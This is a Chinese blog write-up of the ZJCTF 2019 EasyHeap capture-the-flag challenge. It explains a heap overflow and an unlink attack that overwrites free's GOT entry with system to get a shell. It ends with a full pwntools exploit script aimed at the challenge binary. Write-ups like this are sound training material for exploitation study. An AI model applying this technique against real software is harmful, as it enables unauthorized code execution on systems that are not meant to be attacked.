[ZJCTF 2019]EasyHeap

该博客详细介绍了如何利用[CTF]比赛中的一道题目,该题目涉及到堆溢出和未初始化的堆指针。通过关闭的PIE保护,作者通过构造fake_chunk来影响堆布局,进而修改free的GOT表,最终实现通过free调用system('/bin/sh')获取shell。整个过程包括创建、编辑和释放堆块,以及构造payload来操纵内存地址。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[ZJCTF 2019]EasyHeap

使用checksec查看:
在这里插入图片描述
一道堆题,关闭了PIE,可以考虑覆盖got表来获取system getshell

拉进IDA中查看:

标准的菜单,main()函数就不贴截图了,menu()函数也没有营养,图也不贴了,

先来看看create_heap():
在这里插入图片描述

  • heaparray[i]:存放 chunk 的地址。
  • read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
  • heaparray是存放在bss段上的

edit_heap():
在这里插入图片描述
read_input(heaparray[v2], v0);

  • read_input(heaparray[v2], v0):向 chunk 中写入 v0 大小的内容,也就是说如果 v0 比 create 时的 size 大的话就会造成堆溢出。

delete_heap():
在这里插入图片描述

free(heaparray[v1]);
heaparray[v1] = 0LL;
  • free(heaparray[v1]); free 掉对应 chunk
  • heaparray[v1] = 0LL; 将指针置 0 。
  • 不存在UFA

值得一提的是这道题目还有个函数:l33t():
在这里插入图片描述
这个函数直接能返回flag,但是实际上并不存在这个目录:
在这里插入图片描述
OK,回到题目上来,指针被清空了,UAF啥的就用不了了,但是可以注意到的是,存在堆溢出,且堆是放在bss段上的

最先想到的便是unlink,PIE保护也没有开启,正好可以修改free的got表.

首先针对每个函数写出对应的函数:

def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

获取到堆在BSS段上的地址:heaparray_addr = 0x6020E0

开始调试:

首先创建三个chunk:

add(0x90,b"MMMM")#0
add(0x90,b"MMMM")#1
add(0x20,b"/bin/sh\x00")#2

编辑chunk0构造出一个fake_chunk,方便chunk1 free的时候进行合并,

fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)

伪造好之后堆布局如下:
在这里插入图片描述
这时,free掉chunk1,chunk1就会和前面伪造的fake_chunk进行合并,合并完之后堆空间如下:
在这里插入图片描述
此时编辑chunk0就是编辑heaparray_addr-0x18,原本heaparray_addr所指向的是正常的堆地址,此时可以改为free_got的地址,修改完成之后我们编辑chunk0就是编辑free_got的地址,如果将free_got修改成system_plt,在我们执行free的时候执行的就是system:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
chunk2处已经写入了/bin/sh,此时freechunk2便是system('/bin/sh')

完整exp如下:

from pwn import *

#start
r = process("../buu/[ZJCTF 2019]EasyHeap")
# r = remote("node4.buuoj.cn",28658)
elf = ELF("../buu/[ZJCTF 2019]EasyHeap")

context.log_level = 'debug'
#gdb.attach(r,"b* 0x400930")

def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

#params
heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']

#attack
add(0x90,b"MMMM")#0
add(0x90,b"MMMM")#1
add(0x20,b"/bin/sh\x00")#2


fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)

edit(0,0x100,fake_chunk)
delete(1)

# gdb.attach(sh,"b* 0x400930")

payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(system_plt))
delete(2)

r.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值